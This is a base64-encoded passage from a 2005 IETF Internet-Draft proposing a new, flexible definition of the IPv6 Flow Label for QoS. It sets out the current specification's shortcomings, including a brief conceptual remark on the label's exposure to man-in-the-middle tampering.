bmQgdW5pZm9ybWx5DQogICBmcm9tIHRoZSByYW5nZSAxIHRvIEZGRkZGIGhleC4NCg0KICAgCS0g VGhlIEZsb3cgTGFiZWwgdmFsdWUgc2V0IGJ5IHRoZSBzb3VyY2UgTVVTVCBiZSBkZWxpdmVyZWQg dW5jaGFuZ2VkDQogICB0byB0aGUgZGVzdGluYXRpb24gbm9kZShzKS4NCg0KICAgCS0gTm9kZXMg a2VlcGluZyBkeW5hbWljIGZsb3cgc3RhdGUgTVVTVCBOT1QgYXNzdW1lIHBhY2tldHMgYXJyaXZp bmcNCiAgIDEyMCBzZWNvbmRzIG9yIG1vcmUgYWZ0ZXIgdGhlIHByZXZpb3VzIHBhY2tldCBvZiBh IGZsb3cgc3RpbGwgYmVsb25nDQogICB0byB0aGUgc2FtZSBmbG93LCB1bmxlc3MgYSBmbG93IHN0 YXRlIGVzdGFibGlzaG1lbnQgbWV0aG9kIHN1cHBvcnRzDQogICBpdC4NCg0KICAgCS0gU291cmNl IG5vZGVzIFNIT1VMRCBhc3NpZ24gZWFjaCB1bnJlbGF0ZWQgdHJhbnNwb3J0IGNvbm5lY3Rpb24g YW5kDQogICBhcHBsaWNhdGlvbiBkYXRhIHN0cmVhbSB0byBhIG5ldyBmbG93LiBJdCBNVVNUIGVu c3VyZSB0aGF0IGl0IGRvZXMNCiAgIG5vdCB1bmludGVudGlvbmFsbHkgcmV1c2UgRmxvdyBMYWJl bCB2YWx1ZXMgaXQgaXMgY3VycmVudGx5IHVzaW5nIG9yDQogICBoYXMgcmVjZW50bHkgdXNlZCB3 aGVuIGNyZWF0aW5nIG5ldyBmbG93cy4NCg0KICAgCS0gVG8gdXNlIEZsb3cgTGFiZWxzIGZvciBj bGFzc2lmeWluZyBhbmQgcHJvdmlkaW5nIHNwZWNpYWwgdHJlYXRtZW50DQogICBvZiB0cmFmZmlj LCCRZmxvdyBzdGF0ZZIgbmVlZHMgdG8gYmUgZXN0YWJsaXNoZWQgb24gYWxsIG9yIGEgc3Vic2V0 DQogICBvZiBJUHY2IG5vZGVzIG9uIHRoZSBwYXRoIGZyb20gdGhlIHNvdXJjZSB0byB0aGUgZGVz dGluYXRpb24ocykuIFRoZQ0KDQoNCg0KQm91bmQsIGV0IGFsLiAgICAgICAgICAgRXhwaXJlcyBB dWd1c3QgMjEsIDIwMDUgICAgICAgICAgICAgICAgIFtQYWdlIDNdDQoMDQpJbnRlcm5ldC1EcmFm dCAgICBQcm9wb3NhbCBmb3IgYSBOZXcgRmxvdyBMYWJlbCBEZWZpbml0aW9uIEZlYnJ1YXJ5IDIw MDUNCg0KDQogICCRZmxvdyBzdGF0ZZIgc2hvdWxkIGluY2x1ZGUgc3VmZmljaWVudCBpbmZvcm1h dGlvbiBzbyB0aGF0IHBlcnRpbmVudA0KICAgSVB2NiBub2RlcyBjYW4gc3VwcG9ydCByZXF1aXJl ZCBmbG93LWJhc2VkIHByb2Nlc3NpbmcuDQoNCiAgIEluIHRoaXMgZG9jdW1lbnQsIHdlIHByb3Bv c2UgYSBtb2RpZmllZCB2ZXJzaW9uIG9mIHRoZSBhYm92ZQ0KICAgc3BlY2lmaWNhdGlvbiBmb3Ig dGhlIElQdjYgRmxvdyBMYWJlbCB0byBhZGQgZmxleGliaWxpdHkgYW5kIGVhc2Ugb2YNCiAgIHVz ZSBvZiB0aGUgRmxvdyBMYWJlbCBlc3BlY2lhbGx5IGZvciBRdWFsaXR5IG9mIFNlcnZpY2UgKFFv UykNCiAgIGRlbGl2ZXJ5Lg0KDQogICBUaGlzIHNwZWNpZmljYXRpb24gYWxsb3dzIGZsb3dzIHRv IGJlIGRlZmluZWQgYnkgb25seSB0aGUgRmxvdyBMYWJlbA0KICAgb25jZSB0aGUgdW5pcXVlbmVz cyBvZiB0aGUgRmxvdyBMYWJlbCBoYXMgYmVlbiBhc2NlcnRhaW5lZCBmb3IgYQ0KICAgZ2l2ZW4g ZmxvdyBiZXR3ZWVuIHR3byBvciBtb3JlIHBlZXJpbmcgcm91dGVycy4gIFN1Y2ggYXNzZXJ0aW9u IGNhbg0KICAgYmUgbWFkZSBieSB0aGUgRmxvdyBMYWJlbCBhc3NvY2lhdGVkIHdpdGggdGhlIHNv dXJjZSBhbmQgZGVzdGluYXRpb24NCiAgIGFkZHJlc3NlcywgaW5jb21pbmcgcG9ydCBvciBzb21l IHN1Y2ggb3RoZXIgbWV0aG9kb2xvZ2llcyBhcw0KICAgZGVzY3JpYmVkIGluIFsyXS4NCg0KICAg VGhlIEZsb3cgTGFiZWwgbmVlZCBub3QgYmUgc3RhdGljIG9yIGEgZml4ZWQgdmFsdWUgYmV0d2Vl biB0aGUgc291cmNlDQogICBhbmQgZGVzdGluYXRpb24sIHRoYXQgaXMsIGl0IGNhbiBiZSBjaGFu Z2VkIGVucm91dGUgcHJvdmlkZWQgdGhlDQogICBvcmlnaW5hbCBGbG93IExhYmVsIGlzIGRlbGl2 ZXJlZCBpbiB0aGUgcGFja2V0IGF0IHRoZSBkZXN0aW5hdGlvbi4NCg0KICAgQ2xhc3NpZnlpbmcg b25lIG9yIG1vcmUgcGFja2V0cyBpbiBhIGZsb3cgaW50byBhIGNsYXNzIG9mIHBhY2tldHMsDQog ICBjYWxsZWQgdGhlIEZvcndhcmRpbmcgRXF1aXZhbGVudCBDbGFzcyAoRkVDKSBbMl0sIG9mIGdp dmVuDQogICBjaGFyYWN0ZXJpc3RpY3Mgb2YgUW9TLCBzZWN1cml0eSBvciBzb21lIG90aGVyIHBh cmFtZXRlciBvciBhDQogICBjb21iaW5hdGlvbiBvZiBwYXJhbWV0ZXJzLCBpcyBhbGxvd2VkLiAg VGhlIGZsb3cgc3RhdGUgY2FuIGJlDQogICBlc3RhYmxpc2hlZCBhdCB0aGUgc3RhcnQgb2YgYSBm bG93IHJlcHJlc2VudGVkIGJ5IHRoZSBGbG93IExhYmVsIGFuZA0KICAgb25lIHRoYXQgY2FuIHJl bGF0ZSB0byBhbiBGRUM7IHRoZSBjb3JyZXNwb25kaW5nIHNlcnZpY2UgY2FuIHRoZW4gYmUNCiAg IGRlbGl2ZXJlZCBhcyBleHBlY3RlZCBmcm9tIHRoZSBmbG93LiAgT25jZSBhIGZsb3cgc3RhdGUg aGFzIGJlZW4NCiAgIGVzdGFibGlzaGVkIGFuZCB0aGUgcGFja2V0IGlzIGJvdW5kIHRvIGFuIEZF QywgcGFja2V0IGZvcndhcmRpbmcgY2FuDQogICB0aGVuIGJlIGJhc2VkIG9uIG9ubHkgdGhlIEZs b3cgTGFiZWwsIHNlZSBbMl0uDQoNCiAgIFRoaXMgc3BlY2lmaWNhdGlvbiBvZiBGbG93IExhYmVs IHRodXMgYWxsb3dzIGNoYW5naW5nIHRoZSBsYWJlbCB3aGlsZQ0KICAgdGhlIHBhY2tldCBpcyBl bnJvdXRlIGZyb20gdGhlIHNvdXJjZSB0byB0aGUgZGVzdGluYXRpb24gYXMgbG9uZyBhcw0KICAg dGhlIG9yaWdpbmFsIGxhYmVsIGlzIHJlc3RvcmVkIHByaW9yIHRvIGFycml2YWwgb2YgdGhlIHBh Y2tldCBhdCB0aGUNCiAgIGRlc3RpbmF0aW9uLiAgVGhlIEZsb3cgTGFiZWwgdGh1cyBlbmFibGVz IHByb2Nlc3Npbmcgb2YgZmxvd3MgYmFzZWQNCiAgIG9uIEZsb3cgTGFiZWwgb25seSBvbmNlIHRo ZSBmbG93IGhhcyBiZWVuIHVuaXF1ZWx5IGlkZW50aWZpZWQgYnkgYQ0KICAgbGFiZWwgYW5kIGFs c28gZW5hYmxlcyB0aGUgbm9kYWwgY2FwYWJpbGl0eSBmb3IgdXNpbmcgbGFiZWwgZm9yDQogICBw YWNrZXQgY2xhc3NpZmljYXRpb24gYXMgd2VsbCBhcyBwYWNrZXQgZm9yd2FyZGluZy4NCg0KMi4g IEJhY2tncm91bmQNCg0KICAgRHVyaW5nIHRoZSBwYXN0IGRlY2FkZSwgSW50ZXJuZXQgUW9TIGZy YW1ld29yayBoYXMgYmVlbiBidWlsdCBhcm91bmQNCiAgIHRoZSBuZXR3b3JrIHRyYWZmaWMgY2xh c3MgYmFzZWQgc2VydmljZSBkaWZmZXJlbnRpYXRpb24gYW5kIHRyYWZmaWMNCiAgIGVuZ2luZWVy aW5nLiAgRGlmZlNlcnYgaGFzIGVtZXJnZWQgYXMgYSBwcmV2YWxlbnQgSW50ZXJuZXQgUW9TDQog ICBmcmFtZXdvcmsgdGhhdCBmb2N1c2VzIG9uIHByb3ZpZGluZyBwZXJmb3JtYW5jZSBkaWZmZXJl bnRpYXRpb24gdG8NCiAgIGRpZmZlcmVudCB0cmFmZmljIGNsYXNzZXMuICBXaXRoIHRoZSCRVHJh ZmZpYyBDbGFzc5IgZmllbGQgaW4gdGhlDQogICBJUHY2IGhlYWRlciB0aGF0IG1hcHMgdG8gSVB2 NCBEaWZmU2VydiBDb2RlIFBvaW50cyAoRFNDUHMpLCBJUHY2IGNhbg0KICAgcmVhZGlseSBzdXBw b3J0IHRoZSBRb1MgZnJhbWV3b3JrIHdpdGggdGhlIGhlbHAgb2YgdGhlIHNwZWNpZmljYXRpb24N CiAgIG9mIGxhYmVsIHByb3ZpZGVkIGhlcmUuICBUaGlzIHN1cHBvcnRzIGNsYXNzL3ByaW9yaXR5 IGJhc2VkIHRyYWZmaWMNCiAgIHRyZWF0bWVudC4gIElQdjYgcHJvdG9jb2wgdGh1cyBwcm92aWRl cyBzdXBwb3J0IGZvciBib3RoIGNsYXNzIGJhc2VkDQoNCg0KDQpCb3VuZCwgZXQgYWwuICAgICAg ICAgICBFeHBpcmVzIEF1Z3VzdCAyMSwgMjAwNSAgICAgICAgICAgICAgICAgW1BhZ2UgNF0NCgwN CkludGVybmV0LURyYWZ0ICAgIFByb3Bvc2FsIGZvciBhIE5ldyBGbG93IExhYmVsIERlZmluaXRp b24gRmVicnVhcnkgMjAwNQ0KDQoNCiAgIG9yIGZsb3cgYmFzZWQgcGFja2V0IGNsYXNzaWZpY2F0 aW9ucyBhcyB3ZWxsIGFzIHNwZWNpZmljIHBhY2tldA0KICAgZm9yd2FyZGluZyB0cmVhdG1lbnQg cmVsYXRlZCB0byBzdWNoIGNsYXNzaWZpY2F0aW9ucy4NCg0KICAgQXMgb2YgdG9kYXksIHRoZSBk ZXBsb3ltZW50IG9mIHBlci1mbG93IGJhc2VkIHBhY2tldCBmb3J3YXJkaW5nDQogICB0cmVhdG1l bnQgaXMgcmF0aGVyIGxpbWl0ZWQgaW4gYW4gSVB2NiBuZXR3b3JrLiAgVGhlIDIwLWJpdCBGbG93 DQogICBMYWJlbCBmaWVsZCAod2hldGhlciBzZXQgYnkgdGhlIGVuZCBhcHBsaWNhdGlvbnMgb3Ig bm90KSBpcyBpZ25vcmVkDQogICBieSBtb3N0IG5ldHdvcmsgZGV2aWNlcy4gIFRoaXMgcHJlc2Vu dHMgYSBzaWduaWZpY2FudCB3YXN0ZSBvZg0KICAgYnVpbHQtaW4gSVB2NiBjYXBhYmlsaXRpZXM7 IHRoZSBsYWJlbCBmaWVsZCBjb3VsZCBoYXZlIGJlZW4NCiAgIGVmZmVjdGl2ZWx5IHVzZWQgdG93 YXJkIGVuaGFuY2luZyB0aGUgb3ZlcmFsbCBJUHY2IHByb3RvY29sDQogICBmdW5jdGlvbmFsaXR5 IGlmIGNlcnRhaW4gbWVhc3VyZSBvZiBmbGV4aWJpbGl0eSB3ZXJlIGFsbG93ZWQgaW4gaXRzDQog ICBkZWZpbml0aW9uIGFuZCB1c2FnZS4NCg0KICAgVGhlIHByaW1hcnkgYXBwbGljYXRpb24gb2Yg SVB2NiBGbG93IExhYmVsIHdhcyB0byBmYWNpbGl0YXRlIHBlciBmbG93DQogICByZXNvdXJjZSBh bGxvY2F0aW9uIGFuZC9vciBwYWNrZXQgdHJlYXRtZW50LCBzbyB0aGF0IGRlc2lyYWJsZSBRb1MN CiAgIGNhbiBiZSBkZWxpdmVyZWQuICBBbiBJUHY2IGZsb3cgaXMgY3VycmVudGx5IGRlZmluZWQg b24gYW4gZW5kLXRvLWVuZA0KICAgYmFzaXMgYmV0d2VlbiB0aGUgc291cmNlIGFuZCBkZXN0aW5h dGlvbi4gIEl0IHdhcyBkZXNpZ25lZCBiYXNlZCBvbg0KICAgYW4gZW5kLXRvLWVuZCBmaXhlZCBs YWJlbCBhc3NpZ25tZW50IHRoYXQgd291bGQgc2lnbmFsIHNwZWNpYWwNCiAgIHRyYWZmaWMgdHJl YXRtZW50IGJ5IG5ldHdvcmsgZGV2aWNlcyBhdCB0aGUgZmxvdyBsZXZlbCBncmFudWxhcml0eS4N CiAgIFRodXMsIHVzaW5nIEZsb3cgTGFiZWxzLCB0cmFmZmljIGNvdWxkIGJlIGNsYXNzaWZpZWQg aW50byBwZXINCiAgIGFwcGxpY2F0aW9uIGZsb3dzLCBwb3NzaWJseSBldmVuIHRvIGEgZmluZXIg bGV2ZWwsIGUuZy4sIGJhc2VkIG9uDQogICB0cmFuc2FjdGlvbnMgZm9yIGFuIGFwcGxpY2F0aW9u Lg0KDQogICBUaGUgRmxvdyBMYWJlbCBmaWVsZCB3YXMgYWxsb3dlZCBmb3IgbWFwcGluZyB0byBr bm93biBmbG93cyBzdWNoIGFzDQogICBUQ1AgY29ubmVjdGlvbnMsIGFwcGxpY2F0aW9uIHN0cmVh bXMsIGV0Yy4sIGJ1dCBubyBzZXJ2aWNlIG1vZGVscyBvcg0KICAgbWVjaGFuaXNtcyB3ZXJlIHBy b3ZpZGVkIFsxXS4NCg0KICAgVGhlIElQdjYgRmxvdyBMYWJlbCBmaWVsZCByZW1haW5lZCB1bnVz ZWQgYW5kIGlnbm9yZWQgYnkgYWxsIGZvcg0KICAgbmVhcmx5IGEgZGVjYWRlIGFsdGhvdWdoIHVz ZSBvZiBhIHNpbWlsYXIgMjAtYml0IGxhYmVsIGZpZWxkIGluDQogICBNdWx0aXByb3RvY29sIExh YmVsIFN3aXRjaGluZyAoTVBMUykgcHJvdG9jb2wgZm9yIHNpbWlsYXIgcHVycG9zZXMNCiAgIHJl Y2VpdmVkIHdpZGUgaW1wbGVtZW50YXRpb24gc3VwcG9ydCBkdXJpbmcgdGhlIHNhbWUgcGVyaW9k Lg0KDQozLiAgSXNzdWVzIENvbmNlcm5pbmcgdGhlIEN1cnJlbnQgRmxvdyBMYWJlbA0KDQogICBX aXRoIHRoZSBjdXJyZW50IEZsb3cgTGFiZWwgZGVmaW5pdGlvbiBbMV0sIHByb3ZpZGluZyBmb3Ig cGVyLWZsb3cNCiAgIFFvUyBtYXkgYmUgYSBkaWZmaWN1bHQgcHJvY2Vzcy4gIFdlIGhpZ2hsaWdo dCBzZXZlcmFsIGlzc3Vlcw0KICAgY29uY2VybmluZyBwZXItZmxvdyBRb1Mgc3VwcG9ydCB1c2lu ZyB0aGUgRmxvdyBMYWJlbCBmaWVsZC4NCg0KICAgCS0gIFRoZSBzdGF0aWMgYWxsb2NhdGlvbiBv ZiBGbG93IExhYmVscyBkZWZpbmluZyBmaXhlZCwgZW5kLXRvLWVuZA0KICAgZmxvd3MgaW4gbGFy Z2UgbmV0d29ya3MgaXMgdW53aWVsZHkgYXQgYmVzdC4gSWYgdGhlIHNwZWNpZmljYXRpb24gaGFk DQogICBhbGxvd2VkIGZvciBkeW5hbWljIGFsbG9jYXRpb24gb2YgRmxvdyBMYWJlbHMgYXMgZmxv d3Mgd2VyZSBzZXQgdXANCiAgIGFuZCB0b3JuIGRvd24gKG9yIHByb2dyZXNzZWQgb3ZlciBtdWx0 aXBsZSBob3BzKSwgdGhlIG5ldHdvcmsNCiAgIGFkbWluaXN0cmF0b3JzIGFuZC9vciB1c2VycyB3 b3VsZCBoYXZlIGhhZCB0aGUgbGF0aXR1ZGUgdG8gdXNlIG9uZSBvcg0KICAgbW9yZSBsYWJlbHMg KGluIHRoZSBzYW1lIGZsb3dzKSAtIGFzIGFuZCB3aGVuIG5lY2Vzc2FyeSBhbmQgZm9yDQogICBk aWZmZXJlbnQgcHVycG9zZXMuIFRoZSBzdGF0aWMgY2hhcmFjdGVyaXN0aWMgb2YgdGhlIEZsb3cg TGFiZWwNCiAgIGFsbG9jYXRpb24gZW5kLXRvLWVuZCBhbmQgaXRzIDMtdHVwbGUgYXNzb2NpYXRp b24gd2l0aCBzb3VyY2UgYW5kDQogICBkZXN0aW5hdGlvbiBhZGRyZXNzZXMgKHdoaWNoIGFyZSBh bHNvIHN0YXRpYyBlbmQtdG8tZW5kKSByZW5kZXJzIHRoZQ0KICAgdmlldyB0aGF0IHRoZSBGbG93 IExhYmVsIGlzIHRoZXJlIHRvIGV4dGVuZCB0aGUgYWRkcmVzcyBzcGFjZSBpbnRvDQogICB0aGUg RmxvdyBMYWJlbCBmaWVsZC4gQ29udmVyc2VseSwgb25lIGNvdWxkIHVzZSB0aGUgc291cmNlIGFu ZA0KDQoNCg0KQm91bmQsIGV0IGFsLiAgICAgICAgICAgRXhwaXJlcyBBdWd1c3QgMjEsIDIwMDUg ICAgICAgICAgICAgICAgIFtQYWdlIDVdDQoMDQpJbnRlcm5ldC1EcmFmdCAgICBQcm9wb3NhbCBm b3IgYSBOZXcgRmxvdyBMYWJlbCBEZWZpbml0aW9uIEZlYnJ1YXJ5IDIwMDUNCg0KDQogICBkZXN0 aW5hdGlvbiBhZGRyZXNzZXMgaW4gY29uanVuY3Rpb24gd2l0aCB0aGUgVHJhZmZpYyBDbGFzcyBm aWVsZCB0bw0KICAgcHJvdmlkZSB0aGUgc2FtZSBzZXJ2aWNlcyB3aXRob3V0IHVzaW5nIHRoZSBG bG93IExhYmVsIGF0IGFsbC4gVGhlcmUNCiAgIGlzIG5vIG5lZWQgZm9yIGEgc2VwYXJhdGUgc3Rh dGljIDIwLWJpdCBmaWVsZCwgdGhhdCBoYXMgdG8gYmUgdXNlZA0KICAgZW5kLXRvLWVuZCwgb24g dG9wIG9mIHRoZSAyNTYgYml0cyBvZiBhZGRyZXNzIHNwYWNlIHRvIGlkZW50aWZ5IGENCiAgIGZs b3cuDQoNCiAgIAktICBTcGVjaWZpYyBmbG93IHN0YXRlIGVzdGFibGlzaG1lbnQgbWV0aG9kcyBh bmQgdGhlIHJlbGF0ZWQgc2VydmljZQ0KICAgbW9kZWxzIGFyZSBvdXQgb2Ygc2NvcGUgaW4gdGhl IGN1cnJlbnQgbGFiZWwgc3BlY2lmaWNhdGlvbiBbMV0uDQogICBEZXZvaWQgb2YgYSBtZXRob2Rv bG9neSBmb3IgZXN0YWJsaXNoaW5nIGEgZmxvdyBvciBmb3IgcHJvdmlzaW9uaW5nDQogICBzZXJ2 aWNlcyB1c2luZyBlc3RhYmxpc2hlZCBmbG93cyBtZWFudCB0aGUgRmxvdyBMYWJlbCBzcGVjaWZp Y2F0aW9uDQogICBpcyBpbmNvbXBsZXRlIGFuZCBwb3NzaWJseSBpbmFkZXF1YXRlIHRvd2FyZCBw cm92aWRpbmcgaW1wbGVtZW50YXRpb24NCiAgIGFuZCBkZXBsb3ltZW50IGRpcmVjdGlvbiBmb3Ig ZWZmaWNpZW50IHVzZSBvZiB0aGUgbGFiZWwuDQoNCiAgIAktICBBcyB0aGUgRmxvdyBMYWJlbCBm aWVsZCBjYXJyaWVzIGEgc3RhdGljLCBmaXhlZCBsYWJlbCBnZW5lcmF0ZWQNCiAgIGJ5IGEgc291 cmNlIGhvc3QsIGZvciBhIGZsb3cgdG8gcmVjZWl2ZSByZXF1ZXN0ZWQgdHJlYXRtZW50IGluIHRo ZQ0KICAgbmV0d29yaywgYSBzaWduYWxpbmcgcHJvdG9jb2wgc3VjaCBhcyB0aGUgTGFiZWwgRGlz dHJpYnV0aW9uIFByb3RvY29sDQogICAoTERQKSAodXNlZCBpbiBNUExTKSBvciBSZXNvdXJjZSBS ZXNlcnZhdGlvbiBQcm90b2NvbCAoUlNWUCkgbXVzdCBiZQ0KICAgdXNlZCB0byBkaXN0cmlidXRl IHRoZSBsYWJlbCBiaW5kaW5nIChwYWNrZXQgY2xhc3NpZmljYXRpb24pDQogICBpbmZvcm1hdGlv biAoZm9yIHRoaXMgc291cmNlLWJhc2VkIHBhY2tldCBjbGFzc2lmaWNhdGlvbikgdG8gYWxsDQog ICBvdGhlciBub2RlcyBpbiB0aGUgbmV0d29yay4gVGhlIGN1cnJlbnQgRmxvdyBMYWJlbCBzcGVj aWZpY2F0aW9uIFsxXQ0KICAgZG9lcyBub3QgcHJvdmlkZSBhbnkgbWVjaGFuaXNtIGZvciBwcm9w YWdhdGluZyBsYWJlbCBiaW5kaW5nDQogICBpbmZvcm1hdGlvbiBpbnRvIHRoZSBuZXR3b3JrIHdo aWNoIG1ha2VzIHRoZSBjdXJyZW50IEZsb3cgTGFiZWwNCiAgIHNwZWNpZmljYXRpb24gZGlmZmlj dWx0IHRvIGltcGxlbWVudC4NCg0KICAgCS0gIFRvIGVuc3VyZSB0aGF0IGZsb3dzIGNhbiBiZSBp ZGVudGlmaWVkIHVuaXF1ZWx5IGluIHRoZSBuZXR3b3JrLA0KICAgdGhlIDMtdHVwbGUgb2YgRmxv dyBMYWJlbCwgU291cmNlIGFuZCBEZXN0aW5hdGlvbiBhZGRyZXNzZXMgaXMgdXNlZA0KICAgdG8g ZGVmaW5lIGEgZmxvdy4gR2l2ZW4gdGhlIGxhcmdlIGFkZHJlc3MgZmllbGQgdXNlZCBieSB0aGUg SVB2Ng0KICAgcHJvdG9jb2wsIHRoZSBtZW1vcnkgcmVxdWlyZW1lbnRzIGZvciBtYWludGFpbmlu ZyBhIGZsb3cgc3RhdGUgdGhhdA0KICAgaW5jbHVkZXMgdHdvIDEyOC1iaXQgYWRkcmVzc2VzIGFu ZCBhIDIwLWJpdCBGbG93IExhYmVsIChmb3IgYSB0b3RhbA0KICAgb2YgMjc2IGJpdHMpIGNhbiBi ZSBzaWduaWZpY2FudCB3aGVuIHRlbnMgb2YgdGhvdXNhbmRzIG9mIGZsb3dzIGFyZQ0KICAgaW4g b3BlcmF0aW9uIGluIGEgbmV0d29yayBub2RlLiBNb3Jlb3ZlciwgdGhlIG9wZXJhdGlvbnMgdXNl ZCBmb3INCiAgIGZsb3cgbG9vay11cHMgbWF5IGFsc28gYmUgcHJvY2Vzc2luZyBpbnRlbnNpdmUg aW52b2x2aW5nIG11bHRpcGxlDQogICBtZW1vcnkgZmV0Y2hlcyBwZXIgZmxvdyBpbiAzMi1iaXQg b3IgNjQtYml0IG1hY2hpbmVzLiBUaGlzIGlzIG5vdA0KICAgZGVzaXJhYmxlIGZvciBzbWFsbCBv ciBwb3J0YWJsZSBkZXZpY2VzIHdpdGggbGltaXRlZCBtZW1vcnkgYW5kDQogICBwcm9jZXNzaW5n IHBvd2VyLg0KDQogICAJLSAgSW4gSVB2NiBwYWNrZXRzIHRoYXQgbXVzdCB0cmF2ZXJzZSBlcnJv cpdwcm9uZSBvciB1bnJlbGlhYmxlDQogICBsaW5rcywgZXJyb3JzIG1heSBpbmFkdmVydGVudGx5 IGNoYW5nZSB0aGUgRmxvdyBMYWJlbCBiaXRzLiBBcyB0aGUNCiAgIHN0YXRpYyBGbG93IExhYmVs IGlzIHRvIGJlIHVzZWQgZW5kLXRvLWVuZCwgdGhlIGVycm9ycyBtYXkgcmVzdWx0IGluDQogICBm bG93cyB0aGF0IGNhbiBub3QgYmUgbWF0Y2hlZCB0byBhbnkgZmxvdyAocGFja2V0KSB0cmVhdG1l bnQgcHJvZmlsZS4NCiAgIFRoZSBjdXJyZW50IHNwZWNpZmljYXRpb24gb2YgRmxvdyBMYWJlbCBk b2VzIG5vdCBhZGRyZXNzIGhvdyBlcnJvcmVkDQogICBwYWNrZXRzIG5lZWQgdG8gYmUgaGFuZGxl ZCBvciBpZiB0aGV5IGNhbiBiZSBwcm9jZXNzZWQgYXQgYWxsIGluIHRoZQ0KICAgZXJyb3ItcHJv bmUgbGlua3MuIEZ1cnRoZXJtb3JlLCBlcnJvcmVkIHBhY2tldHMgaW4gVENQIHN0cmVhbXMgd2ls bA0KICAgZmFpbCBjaGVja3N1bXMgYXQgdGhlIGRlc3RpbmF0aW9uIGhvc3QgcmVzdWx0aW5nIGlu IHVubmVjZXNzYXJ5DQogICByZXRyYW5zbWlzc2lvbnMgYW5kIHBvc3NpYmxlIGNvbmdlc3Rpb24u IChPbiB0aGUgb3RoZXIgaGFuZCwgZmxleGlibGUNCiAgIEZsb3cgTGFiZWwgYXMgcHJvcG9zZWQg aW4gdGhpcyBkb2N1bWVudCBvbmx5IGhhcyBsb2NhbCBzaWduaWZpY2FuY2UNCiAgIGFuZCBhcyBz dWNoIGhhcyBsaW1pdGVkIHZ1bG5lcmFiaWxpdHkuKQ0KDQoNCg0KDQpCb3VuZCwgZXQgYWwuICAg ICAgICAgICBFeHBpcmVzIEF1Z3VzdCAyMSwgMjAwNSAgICAgICAgICAgICAgICAgW1BhZ2UgNl0N CgwNCkludGVybmV0LURyYWZ0ICAgIFByb3Bvc2FsIGZvciBhIE5ldyBGbG93IExhYmVsIERlZmlu aXRpb24gRmVicnVhcnkgMjAwNQ0KDQoNCiAgIAktICBUaGUgZml4ZWQgbGFiZWwgTVVTVCBiZSBk ZWxpdmVyZWQgdW5jaGFuZ2VkIHRvIHRoZSBkZXN0aW5hdGlvbg0KICAgbm9kZXM7IHRoaXMgZXZl biBhcHBsaWVzIHRvIHRoZSB6ZXJvIEZsb3cgTGFiZWwgd2hpY2ggaXMgdXNlZCBmb3INCiAgIGxh YmVsaW5nIHBhY2tldHMgdGhhdCBhcmUgbm90IHBhcnQgb2YgYW55IGZsb3cgKGZvciBub2RlcyB0 aGF0IGRvIG5vdA0KICAgc3VwcG9ydCBGbG93IExhYmVsIGJhc2VkIGZsb3dzKS4gSXQgaXMgbm90 IGNsZWFyIGhvdyB0aGlzIHJlcXVpcmVtZW50DQogICBjb250cmlidXRlcyBhbnkgdXNlZnVsIGZ1 bmN0aW9uYWxpdHkuIFRoaXMgY29uc3RpdHV0ZXMgYW4gaWRlYWwNCiAgIG1lY2hhbmlzbSBmb3Ig bWFuLWluLXRoZS1taWRkbGUgYXR0YWNrcy4gV2hhdCBpcyBuZWVkZWQgdG8gZGVyYWlsIGFuDQog ICBlbmQtdG8tZW5kIHN0YXRpY2FsbHkgZGVmaW5lZCBmbG93IGlzIHRvIHNpbXBseSBpbnNlcnQg YWxsIHplcm9lcyBpbg0KICAgdGhlIEZsb3cgTGFiZWwgZmllbGQgdGh1cyBtYWtpbmcgdGhlIGZs b3cgYSAnbm9uLWZsb3cnLiBUaGUgZmxvdw0KICAgbWVhbnQgZm9yIFFvUyBkZWxpdmVyeSBiZWNv bWVzIG1lYW5pbmdsZXNzIGFuZCBjb3VsZCBwb3RlbnRpYWxseSBiZQ0KICAgaGFybWZ1bCB0byBh IG1pc3Npb24uDQoNCiAgIAktICBTY2FsYWJpbGl0eSBpcyBhbm90aGVyIGlzc3VlIHdpdGggdGhl IHN0YXRpYywgZml4ZWQgRmxvdyBMYWJlbA0KICAgYXNzaWdubWVudC4gU3RhdGljIGFzc2lnbm1l bnRzIGFyZSBub3QgY29uc2lkZXJlZCBieSB0aGVpciB2ZXJ5DQogICBuYXR1cmUgc2NhbGFibGUu IEZvciBpbnN0YW5jZSwgdGhlIHByb2plY3RlZCBkZXBsZXRpb24gb2YgdGhlIGZpeGVkDQogICBh ZGRyZXNzIHNwYWNlIGluIElQdjQgaGFzIHJlc3VsdGVkIGluIHRoZSBhZG9wdGlvbiBvZiBJUHY2 IChmb3IgaXRzDQogICBodWdlIGFkZHJlc3Mgc3BhY2UpLiBGbGV4aWJpbGl0eSBpbiB0aGUgYXNz aWdubWVudCBvZiB2YWx1ZXMgdG8gYSBiaXQNCiAgIGZpZWxkIGFzIGFuZCB3aGVuIG5lZWRlZCBp cyBjb25zaWRlcmVkIGluIGdlbmVyYWwgYSBnb29kIGlkZWEuICBUaGlzDQogICBpcyB0cnVlIGZv ciB0aGUgRmxvdyBMYWJlbCBhcyB3ZWxsLg0KDQogICBUbyBzdW1tYXJpemUsIHRoZSBjdXJyZW50 IElQdjYgRmxvdyBMYWJlbCBpcyBsaXR0bGUgdXNlZDsgaXRzIGN1cnJlbnQNCiAgIHNwZWNpZmlj YXRpb24gaXMgY29uZnVzaW5nLiAgQWJzZW50IGFuIGFzc29jaWF0ZWQgbWVjaGFuaXNtIGZvciBs YWJlbA0KICAgYmluZGluZyBkaXN0cmlidXRpb24sIHRoZSBzcGVjaWZpY2F0aW9uIHByb3ZpZGVz IGxpdHRsZSBpbiB3YXkgb2YNCiAgIGZ1bmN0aW9uYWxpdGllcyBmb3IgdGhlIElQdjYgcHJvdG9j b2wuICBJdHMgYXBwbGljYXRpb24gaW4gcHJvdmlkaW5nDQogICBmbG93IGJhc2VkIFFvUyBoYXMg bm90IGJlZW4gZGVmaW5lZCwgaXRzIGltcGxlbWVudGF0aW9uIGJ5IG5ldHdvcmsNCiAgIGRldmlj ZXMgbWF5IHByb3ZlIHRvIGJlIGV4cGVuc2l2ZSBhbmQgbWF5IGludHJvZHVjZSBpc3N1ZXMgY29u Y2VybmluZw0KICAgcHJvcGVyIHVzZSBvZiB0aGUgYXZhaWxhYmxlIHJlc291cmNlcy4gIEl0cyB1 c2UgaW4gdGhlIGVycm9yLXByb25lDQogICBtZWRpYSBpcyBxdWVzdGlvbmFibGUuICBJdCBpcyB2 dWxuZXJhYmxlIHRvIHRoZSBtYW4taW4tdGhlLW1pZGRsZQ0KICAgYXR0YWNrcy4NCg0KICAgRmlu YWxseSwgdGhlIGN1cnJlbnQgc3BlY2lmaWNhdGlvbiBpcyB0b28gcmVzdHJpY3RpdmUgdG8gYWxs 